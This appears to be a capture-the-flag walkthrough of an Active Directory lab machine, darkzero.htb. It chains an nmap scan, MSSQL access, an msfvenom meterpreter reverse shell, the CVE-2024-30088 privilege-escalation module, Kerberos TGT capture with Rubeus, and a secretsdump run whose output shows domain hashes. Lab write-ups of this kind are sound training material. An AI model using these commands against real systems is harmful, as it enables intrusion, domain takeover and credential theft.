First, we start with a port scan using nmap:

nmap -sVC -Pn -vvv 10.129.28.186

PORT     STATE SERVICE       REASON  VERSION
53/tcp   open  domain        syn-ack Simple DNS Plus
88/tcp   open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2026-04-07 03:26:44Z)
135/tcp  open  msrpc         syn-ack Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: darkzero.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Issuer: commonName=darkzero-DC01-CA/domainComponent=darkzero
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-29T11:40:00
| Not valid after:  2026-07-29T11:40:00
| MD5:     ce57 1ac8 da76 eb62 efe8 4e85 045b d440
| SHA-1:   603a f638 aabb 7eaa 1bdb 4256 5869 4de2 98b6 570c
| SHA-256: 1c29 ea3b 7806 d312 afe0 d55a baf9 67a1 bcdf ac9b c561 0afc 4a1e 0b3c 6942 502c
| -----BEGIN CERTIFICATE-----
| MIIHNzCCBR+gAwIBAgITUgAAAAO4Lw91dEi9jwAAAAAAAzANBgkqhkiG9w0BAQsF
| ADBKMRMwEQYKCZImiZPyLGQBGRYDaHRiMRgwFgYKCZImiZPyLGQBGRYIZGFya3pl
| cm8xGTAXBgNVBAMTEGRhcmt6ZXJvLURDMDEtQ0EwHhcNMjUwNzI5MTE0MDAwWhcN
| MjYwNzI5MTE0MDAwWjAcMRowGAYDVQQDExFEQzAxLmRhcmt6ZXJvLmh0YjCCASIw
| DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALtgbmGxyLJnTefHNna7EjMScNUA
| n0C+Q4T4jkD9YjX+wpNOXHgmnrqpo8wYV0gQAGK9bnTYC8RJb7vWSZrI3MP+/dHw
| nB6AuOXvz6ahChE6C6wlnxMjD9NeJtwzq/RSpHjBFRc+sfGPbX32Y2CEjqzJISHR
| yOnbnuldHK3I4UNKVN28miXaB/dqrK3/Z6rFOuPWbnEqMuYV4LQh4tvxYb5QALUA
| jTwITLAp1prBoUQkdF5UAcpc/oIuP6VKYpjvv+m/yMuvaDIS+QtjRkP+4+ES0Tk3
| gZ489D4lkgndvw6Oz7MwZtpTXwAvmEWb6L0Pg+M0Vd5UjnkxNUiUsAGKgAECAwEA
| AaOCA0IwggM+MC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdABy
| AG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0P
| AQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqG
| SIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQB
| AjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFDd9
| RV4kuWN9NU3bdgWvT4UqaXTjMB8GA1UdIwQYMBaAFGapgxh49WSDZkbTTZ9eZ8L7
| ypx7MIHMBgNVHR8EgcQwgcEwgb6ggbuggbiGgbVsZGFwOi8vL0NOPWRhcmt6ZXJv
| LURDMDEtQ0EsQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2Vydmlj
| ZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1kYXJremVybyxEQz1o
| dGI/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNS
| TERpc3RyaWJ1dGlvblBvaW50MIHDBggrBgEFBQcBAQSBtjCBszCBsAYIKwYBBQUH
| MAKGgaNsZGFwOi8vL0NOPWRhcmt6ZXJvLURDMDEtQ0EsQ049QUlBLENOPVB1Ymxp
| YyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24s
| REM9ZGFya3plcm8sREM9aHRiP2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RDbGFz
| cz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MD0GA1UdEQQ2MDSgHwYJKwYBBAGCNxkB
| oBIEEOfsqvw66j9ItSxN2uPjJRqCEURDMDEuZGFya3plcm8uaHRiME4GCSsGAQQB
| gjcZAgRBMD+gPQYKKwYBBAGCNxkCAaAvBC1TLTEtNS0yMS0xMTUyMTc5OTM1LTU4
| OTEwODE4MC0xOTg5ODkyNDYzLTEwMDAwDQYJKoZIhvcNAQELBQADggIBAL28m69f
| CO5DYoe/9OPZ5i7haHUhbbyZSv0LRnJawwCP+YLaA6VWpmqBrqAVZ4lvP74KqRSs
| oEkwwX7C8lYEvSA+C97NcpoBzeH9aWCEWC/EaEz3sEL/QKcG7beM04HpP5qIzurP
| gqFJXBwmJSTvNPD53pN7edGlvC0tFgvuqXP/7L2xDnsxHeAA98RUl8NW8rwAlijj
| Car4Q0gryC682mAISxsHlv3Xp5ID5Ny8XkpIY9/qtVCtBXXDMd4XNzt1lGedHDWs
| 1OaZuQvWJMQjKrdFQ59m/bzpLggMlCF7a2TgMJ4wISuJeVXhyd2WXXBQfMigjQVl
| IfR+jf2n43K7ZJOjpZizW4sInL6efS9KW7A6XE7Tzx+ZLdko4sj444mwbXnLgTgQ
| a9N04FJMp6TKLSRO/Vk0AGD9cpLOwINLM2jgPaepAvfThifKGDX2gA4vfFCEVPp1
| /fLrQDjWwZfKBKchZQZ6RZzj1dfnZDIKhV9JT3Kfy1iIFTl2I8YDSmzumXdS4VgY
| pcDf6d2i1duAjNoNvg2pZj7gPzrhzim2g0ezy1Ipcu1AfeJBZ+zlsxpnZ1vPMnQ6
| j2Pwkxplofr8WFcyMBh1lXce8PrTm8+n70sA3D4InyfEhyydgzKsQTmeNbfQCOSY
| TwaWbho49qkLrdLNpB0KN4kHVKKweu3cvvcF
|_-----END CERTIFICATE-----
445/tcp  open  microsoft-ds? syn-ack
464/tcp  open  kpasswd5?     syn-ack
593/tcp  open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: darkzero.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Issuer: commonName=darkzero-DC01-CA/domainComponent=darkzero
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-29T11:40:00
| Not valid after:  2026-07-29T11:40:00
| MD5:     ce57 1ac8 da76 eb62 efe8 4e85 045b d440
| SHA-1:   603a f638 aabb 7eaa 1bdb 4256 5869 4de2 98b6 570c
| SHA-256: 1c29 ea3b 7806 d312 afe0 d55a baf9 67a1 bcdf ac9b c561 0afc 4a1e 0b3c 6942 502c
| -----BEGIN CERTIFICATE-----
| MIIHNzCCBR+gAwIBAgITUgAAAAO4Lw91dEi9jwAAAAAAAzANBgkqhkiG9w0BAQsF
| ADBKMRMwEQYKCZImiZPyLGQBGRYDaHRiMRgwFgYKCZImiZPyLGQBGRYIZGFya3pl
| cm8xGTAXBgNVBAMTEGRhcmt6ZXJvLURDMDEtQ0EwHhcNMjUwNzI5MTE0MDAwWhcN
| MjYwNzI5MTE0MDAwWjAcMRowGAYDVQQDExFEQzAxLmRhcmt6ZXJvLmh0YjCCASIw
| DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALtgbmGxyLJnTefHNna7EjMScNUA
| n0C+Q4T4jkD9YjX+wpNOXHgmnrqpo8wYV0gQAGK9bnTYC8RJb7vWSZrI3MP+/dHw
| nB6AuOXvz6ahChE6C6wlnxMjD9NeJtwzq/RSpHjBFRc+sfGPbX32Y2CEjqzJISHR
| yOnbnuldHK3I4UNKVN28miXaB/dqrK3/Z6rFOuPWbnEqMuYV4LQh4tvxYb5QALUA
| jTwITLAp1prBoUQkdF5UAcpc/oIuP6VKYpjvv+m/yMuvaDIS+QtjRkP+4+ES0Tk3
| gZ489D4lkgndvw6Oz7MwZtpTXwAvmEWb6L0Pg+M0Vd5UjnkxNUiUsAGKgAECAwEA
| AaOCA0IwggM+MC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdABy
| AG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0P
| AQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqG
| SIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQB
| AjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFDd9
| RV4kuWN9NU3bdgWvT4UqaXTjMB8GA1UdIwQYMBaAFGapgxh49WSDZkbTTZ9eZ8L7
| ypx7MIHMBgNVHR8EgcQwgcEwgb6ggbuggbiGgbVsZGFwOi8vL0NOPWRhcmt6ZXJv
| LURDMDEtQ0EsQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2Vydmlj
| ZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1kYXJremVybyxEQz1o
| dGI/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNS
| TERpc3RyaWJ1dGlvblBvaW50MIHDBggrBgEFBQcBAQSBtjCBszCBsAYIKwYBBQUH
| MAKGgaNsZGFwOi8vL0NOPWRhcmt6ZXJvLURDMDEtQ0EsQ049QUlBLENOPVB1Ymxp
| YyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24s
| REM9ZGFya3plcm8sREM9aHRiP2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RDbGFz
| cz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MD0GA1UdEQQ2MDSgHwYJKwYBBAGCNxkB
| oBIEEOfsqvw66j9ItSxN2uPjJRqCEURDMDEuZGFya3plcm8uaHRiME4GCSsGAQQB
| gjcZAgRBMD+gPQYKKwYBBAGCNxkCAaAvBC1TLTEtNS0yMS0xMTUyMTc5OTM1LTU4
| OTEwODE4MC0xOTg5ODkyNDYzLTEwMDAwDQYJKoZIhvcNAQELBQADggIBAL28m69f
| CO5DYoe/9OPZ5i7haHUhbbyZSv0LRnJawwCP+YLaA6VWpmqBrqAVZ4lvP74KqRSs
| oEkwwX7C8lYEvSA+C97NcpoBzeH9aWCEWC/EaEz3sEL/QKcG7beM04HpP5qIzurP
| gqFJXBwmJSTvNPD53pN7edGlvC0tFgvuqXP/7L2xDnsxHeAA98RUl8NW8rwAlijj
| Car4Q0gryC682mAISxsHlv3Xp5ID5Ny8XkpIY9/qtVCtBXXDMd4XNzt1lGedHDWs
| 1OaZuQvWJMQjKrdFQ59m/bzpLggMlCF7a2TgMJ4wISuJeVXhyd2WXXBQfMigjQVl
| IfR+jf2n43K7ZJOjpZizW4sInL6efS9KW7A6XE7Tzx+ZLdko4sj444mwbXnLgTgQ
| a9N04FJMp6TKLSRO/Vk0AGD9cpLOwINLM2jgPaepAvfThifKGDX2gA4vfFCEVPp1
| /fLrQDjWwZfKBKchZQZ6RZzj1dfnZDIKhV9JT3Kfy1iIFTl2I8YDSmzumXdS4VgY
| pcDf6d2i1duAjNoNvg2pZj7gPzrhzim2g0ezy1Ipcu1AfeJBZ+zlsxpnZ1vPMnQ6
| j2Pwkxplofr8WFcyMBh1lXce8PrTm8+n70sA3D4InyfEhyydgzKsQTmeNbfQCOSY
| TwaWbho49qkLrdLNpB0KN4kHVKKweu3cvvcF
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
2179/tcp open  vmrdp?        syn-ack
3268/tcp open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: darkzero.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Issuer: commonName=darkzero-DC01-CA/domainComponent=darkzero
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-29T11:40:00
| Not valid after:  2026-07-29T11:40:00
| MD5:     ce57 1ac8 da76 eb62 efe8 4e85 045b d440
| SHA-1:   603a f638 aabb 7eaa 1bdb 4256 5869 4de2 98b6 570c
| SHA-256: 1c29 ea3b 7806 d312 afe0 d55a baf9 67a1 bcdf ac9b c561 0afc 4a1e 0b3c 6942 502c
| -----BEGIN CERTIFICATE-----
| MIIHNzCCBR+gAwIBAgITUgAAAAO4Lw91dEi9jwAAAAAAAzANBgkqhkiG9w0BAQsF
| ADBKMRMwEQYKCZImiZPyLGQBGRYDaHRiMRgwFgYKCZImiZPyLGQBGRYIZGFya3pl
| cm8xGTAXBgNVBAMTEGRhcmt6ZXJvLURDMDEtQ0EwHhcNMjUwNzI5MTE0MDAwWhcN
| MjYwNzI5MTE0MDAwWjAcMRowGAYDVQQDExFEQzAxLmRhcmt6ZXJvLmh0YjCCASIw
| DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALtgbmGxyLJnTefHNna7EjMScNUA
| n0C+Q4T4jkD9YjX+wpNOXHgmnrqpo8wYV0gQAGK9bnTYC8RJb7vWSZrI3MP+/dHw
| nB6AuOXvz6ahChE6C6wlnxMjD9NeJtwzq/RSpHjBFRc+sfGPbX32Y2CEjqzJISHR
| yOnbnuldHK3I4UNKVN28miXaB/dqrK3/Z6rFOuPWbnEqMuYV4LQh4tvxYb5QALUA
| jTwITLAp1prBoUQkdF5UAcpc/oIuP6VKYpjvv+m/yMuvaDIS+QtjRkP+4+ES0Tk3
| gZ489D4lkgndvw6Oz7MwZtpTXwAvmEWb6L0Pg+M0Vd5UjnkxNUiUsAGKgAECAwEA
| AaOCA0IwggM+MC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdABy
| AG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0P
| AQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqG
| SIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQB
| AjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFDd9
| RV4kuWN9NU3bdgWvT4UqaXTjMB8GA1UdIwQYMBaAFGapgxh49WSDZkbTTZ9eZ8L7
| ypx7MIHMBgNVHR8EgcQwgcEwgb6ggbuggbiGgbVsZGFwOi8vL0NOPWRhcmt6ZXJv
| LURDMDEtQ0EsQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2Vydmlj
| ZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1kYXJremVybyxEQz1o
| dGI/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNS
| TERpc3RyaWJ1dGlvblBvaW50MIHDBggrBgEFBQcBAQSBtjCBszCBsAYIKwYBBQUH
| MAKGgaNsZGFwOi8vL0NOPWRhcmt6ZXJvLURDMDEtQ0EsQ049QUlBLENOPVB1Ymxp
| YyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24s
| REM9ZGFya3plcm8sREM9aHRiP2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RDbGFz
| cz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MD0GA1UdEQQ2MDSgHwYJKwYBBAGCNxkB
| oBIEEOfsqvw66j9ItSxN2uPjJRqCEURDMDEuZGFya3plcm8uaHRiME4GCSsGAQQB
| gjcZAgRBMD+gPQYKKwYBBAGCNxkCAaAvBC1TLTEtNS0yMS0xMTUyMTc5OTM1LTU4
| OTEwODE4MC0xOTg5ODkyNDYzLTEwMDAwDQYJKoZIhvcNAQELBQADggIBAL28m69f
| CO5DYoe/9OPZ5i7haHUhbbyZSv0LRnJawwCP+YLaA6VWpmqBrqAVZ4lvP74KqRSs
| oEkwwX7C8lYEvSA+C97NcpoBzeH9aWCEWC/EaEz3sEL/QKcG7beM04HpP5qIzurP
| gqFJXBwmJSTvNPD53pN7edGlvC0tFgvuqXP/7L2xDnsxHeAA98RUl8NW8rwAlijj
| Car4Q0gryC682mAISxsHlv3Xp5ID5Ny8XkpIY9/qtVCtBXXDMd4XNzt1lGedHDWs
| 1OaZuQvWJMQjKrdFQ59m/bzpLggMlCF7a2TgMJ4wISuJeVXhyd2WXXBQfMigjQVl
| IfR+jf2n43K7ZJOjpZizW4sInL6efS9KW7A6XE7Tzx+ZLdko4sj444mwbXnLgTgQ
| a9N04FJMp6TKLSRO/Vk0AGD9cpLOwINLM2jgPaepAvfThifKGDX2gA4vfFCEVPp1
| /fLrQDjWwZfKBKchZQZ6RZzj1dfnZDIKhV9JT3Kfy1iIFTl2I8YDSmzumXdS4VgY
| pcDf6d2i1duAjNoNvg2pZj7gPzrhzim2g0ezy1Ipcu1AfeJBZ+zlsxpnZ1vPMnQ6
| j2Pwkxplofr8WFcyMBh1lXce8PrTm8+n70sA3D4InyfEhyydgzKsQTmeNbfQCOSY
| TwaWbho49qkLrdLNpB0KN4kHVKKweu3cvvcF
|_-----END CERTIFICATE-----
3269/tcp open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: darkzero.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Issuer: commonName=darkzero-DC01-CA/domainComponent=darkzero
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-29T11:40:00
| Not valid after:  2026-07-29T11:40:00
| MD5:     ce57 1ac8 da76 eb62 efe8 4e85 045b d440
| SHA-1:   603a f638 aabb 7eaa 1bdb 4256 5869 4de2 98b6 570c
| SHA-256: 1c29 ea3b 7806 d312 afe0 d55a baf9 67a1 bcdf ac9b c561 0afc 4a1e 0b3c 6942 502c
| -----BEGIN CERTIFICATE-----
| MIIHNzCCBR+gAwIBAgITUgAAAAO4Lw91dEi9jwAAAAAAAzANBgkqhkiG9w0BAQsF
| ADBKMRMwEQYKCZImiZPyLGQBGRYDaHRiMRgwFgYKCZImiZPyLGQBGRYIZGFya3pl
| cm8xGTAXBgNVBAMTEGRhcmt6ZXJvLURDMDEtQ0EwHhcNMjUwNzI5MTE0MDAwWhcN
| MjYwNzI5MTE0MDAwWjAcMRowGAYDVQQDExFEQzAxLmRhcmt6ZXJvLmh0YjCCASIw
| DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALtgbmGxyLJnTefHNna7EjMScNUA
| n0C+Q4T4jkD9YjX+wpNOXHgmnrqpo8wYV0gQAGK9bnTYC8RJb7vWSZrI3MP+/dHw
| nB6AuOXvz6ahChE6C6wlnxMjD9NeJtwzq/RSpHjBFRc+sfGPbX32Y2CEjqzJISHR
| yOnbnuldHK3I4UNKVN28miXaB/dqrK3/Z6rFOuPWbnEqMuYV4LQh4tvxYb5QALUA
| jTwITLAp1prBoUQkdF5UAcpc/oIuP6VKYpjvv+m/yMuvaDIS+QtjRkP+4+ES0Tk3
| gZ489D4lkgndvw6Oz7MwZtpTXwAvmEWb6L0Pg+M0Vd5UjnkxNUiUsAGKgAECAwEA
| AaOCA0IwggM+MC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdABy
| AG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0P
| AQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqG
| SIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQB
| AjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFDd9
| RV4kuWN9NU3bdgWvT4UqaXTjMB8GA1UdIwQYMBaAFGapgxh49WSDZkbTTZ9eZ8L7
| ypx7MIHMBgNVHR8EgcQwgcEwgb6ggbuggbiGgbVsZGFwOi8vL0NOPWRhcmt6ZXJv
| LURDMDEtQ0EsQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2Vydmlj
| ZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1kYXJremVybyxEQz1o
| dGI/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNS
| TERpc3RyaWJ1dGlvblBvaW50MIHDBggrBgEFBQcBAQSBtjCBszCBsAYIKwYBBQUH
| MAKGgaNsZGFwOi8vL0NOPWRhcmt6ZXJvLURDMDEtQ0EsQ049QUlBLENOPVB1Ymxp
| YyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24s
| REM9ZGFya3plcm8sREM9aHRiP2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RDbGFz
| cz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MD0GA1UdEQQ2MDSgHwYJKwYBBAGCNxkB
| oBIEEOfsqvw66j9ItSxN2uPjJRqCEURDMDEuZGFya3plcm8uaHRiME4GCSsGAQQB
| gjcZAgRBMD+gPQYKKwYBBAGCNxkCAaAvBC1TLTEtNS0yMS0xMTUyMTc5OTM1LTU4
| OTEwODE4MC0xOTg5ODkyNDYzLTEwMDAwDQYJKoZIhvcNAQELBQADggIBAL28m69f
| CO5DYoe/9OPZ5i7haHUhbbyZSv0LRnJawwCP+YLaA6VWpmqBrqAVZ4lvP74KqRSs
| oEkwwX7C8lYEvSA+C97NcpoBzeH9aWCEWC/EaEz3sEL/QKcG7beM04HpP5qIzurP
| gqFJXBwmJSTvNPD53pN7edGlvC0tFgvuqXP/7L2xDnsxHeAA98RUl8NW8rwAlijj
| Car4Q0gryC682mAISxsHlv3Xp5ID5Ny8XkpIY9/qtVCtBXXDMd4XNzt1lGedHDWs
| 1OaZuQvWJMQjKrdFQ59m/bzpLggMlCF7a2TgMJ4wISuJeVXhyd2WXXBQfMigjQVl
| IfR+jf2n43K7ZJOjpZizW4sInL6efS9KW7A6XE7Tzx+ZLdko4sj444mwbXnLgTgQ
| a9N04FJMp6TKLSRO/Vk0AGD9cpLOwINLM2jgPaepAvfThifKGDX2gA4vfFCEVPp1
| /fLrQDjWwZfKBKchZQZ6RZzj1dfnZDIKhV9JT3Kfy1iIFTl2I8YDSmzumXdS4VgY
| pcDf6d2i1duAjNoNvg2pZj7gPzrhzim2g0ezy1Ipcu1AfeJBZ+zlsxpnZ1vPMnQ6
| j2Pwkxplofr8WFcyMBh1lXce8PrTm8+n70sA3D4InyfEhyydgzKsQTmeNbfQCOSY
| TwaWbho49qkLrdLNpB0KN4kHVKKweu3cvvcF
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
5985/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-04-07T03:27:27
|_  start_date: N/A
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 34992/tcp): CLEAN (Timeout)
|   Check 2 (port 45399/tcp): CLEAN (Timeout)
|   Check 3 (port 28038/udp): CLEAN (Timeout)
|   Check 4 (port 18215/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: -1m03s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required

As we can see, there is a Domain Control running on DC01.darkzero.htb.

BloodHound

First, we need to sync our machine clock with kerberos:

sudo ntpdate 10.129.28.186

Then we are going to execute bloodhound against the target to gather all the information from Active Directory:

nxc ldap 10.129.28.186 -u john.w -p 'RFulUtONCOL!' --bloodhound --dns-server 10.129.28.186 -c All

As we can see, DARKZERO.EXT and DARKZERO.HTB have bidirectional trust due to the CrossForestTrust, this means that both forests trust each other, this can be util to do a lateral movement.

MSSQL

Now we are going to connect to the Microsft Server SQL (MSSQL) service and enumerate every available configuration:

mssqlclient.py 'darkzero.htb/john.w:RFulUtONCOL!@10.129.28.186' -windows-auth

If we take a look at the output from the command enum_links, we'll see that the user john.w has local access to DC02 with the user svc_sql (sql service account). This can be usefull to get a shell and execute commands in the system.

Revshell

After successfully gaining remote command execution on the system, we are going to execute a Powershell payload which enables us a reverse shell connection on the system:

First, we need to start a netcat listener and then execute the payload:

Once received the connection, we'll see that we can't do much as svc_sql, so we need to figure out a way to escalate privileges on the system. If we start enumerating, we'll see that the system we are inside is DC02 and it's using an outdated version of Windows Server, in this case, we can see Windows Server 2022 running on the system.

DC02 Local Privilege Escalation

If we search on Google for an exploit on Windows Server 2022, we'll see that there is a published CVE known as CVE-2024-30088, this CVE consists on a privilege escalation vulnerability on the Windows Kernel

https://www.rapid7.com/db/modules/exploit/windows/local/cve_2024_30088_authz_basep/

In this case, I used metasploit to escalate privileges. First, I created a malicious executable file using the payload windows/x64/meterpreter/reverse_tcp with msfvenom:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.x.x LPORT=4445 -f exe > msfshell.exe

Once uploaded the payload, we need to configure our listener on metasploit, once configured, we can run the malicious file and we'll get a meterpreter session:

msfconsole -q
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 4445
run

As we can see, we've sucessfully received a reverse connection and a new meterpreter session has oppened, now, we are going to set this session to background to use the CVE-2024-30088 module:

Once executed the exploit, we'll get access as NT AUTHORITY\SYSTEM, now, we can get the user flag:

Moving from DC02 to DC01

If we check the information from DC02, we'll see that inside the same network, there is access to the Domain Control dc01.darkzero.htb with the IP Address 172.16.20.1

If we take a look back to the bloodhound scan, we saw before that both forests (DARKZERO.EXT and DARKZERO.HTB) trust each other, we can verify this manually with the command:

nltest /domain_trust /server:DC02

The command output confirms that there is bidirectional trust between both forests, this means that both domains trust in the Kerberos tickets from the other.

Now, inside DC02 (were we have access as SYSTEM) we are going to use Rubeus in monitor mode to capture tickets TGT that are moving inside the system in real time:

.\Rubeus.exe monitor /interval:10 /nowrap

Once configured Rubeus in monitor mode, we need to force the authentication from DC01 against DC02, we can do this through MSSQL, first we need to connect to MSSQL:

mssqlclient.py 'darkzero.htb/john.w:RFulUtONCOL!@10.129.28.186' -windows-auth

And then, we are going to execute xp_dirtree pointing to a nonexistent share, this will obligate the process from SQL Server on DC01 to realize an SMB connection to DC02. For that, the process will request a ticket to the KDC for cifs/DC02. Since DC02 has Unconstrained Delegation, the KDC will include the TGT from DC01 inside the TGS, we can capture the ticket with Rubeus:

Once received the ticket, we need to save it as ticket.b64, then we'll decode it and save the output as ticket.kirbi, once done this, we need to convert the ticket.kirbi to a .ccache to use it with impacket:

ticket.b64 ---> ticket.kirbi ---> ticket.ccache

echo "..." > ticket.b64
base64 -d ticket.b64 > ticket.kirbi
ticketConverter.py ticket.kirbi dc01darkzero.ccache

Once we have the .ccache, we need to generate the krb5.conf file and then export it with the .ccache:

nxc smb dc01.darkzero.htb -u 'john.w' -p 'RFulUtONCOL!' --generate-krb5-file ./krb5.conf
export KRB5_CONFIG=./krb5.conf
export KRB5CCNAME=dc01darkzero.ccache
klist

Now, we are going to use Impacket secretsdump to get all the hashes from the domain DC01:

secretsdump.py -k -no-pass -dc-ip dc01.darkzero.htb DARKZERO.HTB/'dc01$'@dc01.darkzero.htb

Administrator:500:aad3b435b51404eeaad3b435b51404ee:5917507bdf2ef2c2b0a869a1cba40726:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:64f4771e4c60b8b176c3769300f6f3f7:::
john.w:2603:aad3b435b51404eeaad3b435b51404ee:44b1b5623a1446b5831a7b3a4be3977b:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:d02e3fe0986e9b5f013dad12b2350b3a:::
darkzero-ext$:2602:aad3b435b51404eeaad3b435b51404ee:3906c9ba81eca2ba3b433b079687e4cc:::
[*] Kerberos keys grabbed
Administrator:0x14:2f8efea2896670fa78f4da08a53c1ced59018a89b762cbcf6628bd290039b9cd
Administrator:0x13:a23315d970fe9d556be03ab611730673
Administrator:aes256-cts-hmac-sha1-96:d4aa4a338e44acd57b857fc4d650407ca2f9ac3d6f79c9de59141575ab16cabd
Administrator:aes128-cts-hmac-sha1-96:b1e04b87abab7be2c600fc652ac84362
Administrator:0x17:5917507bdf2ef2c2b0a869a1cba40726
krbtgt:aes256-cts-hmac-sha1-96:6330aee12ac37e9c42bc9af3f1fec55d7755c31d70095ca1927458d216884d41
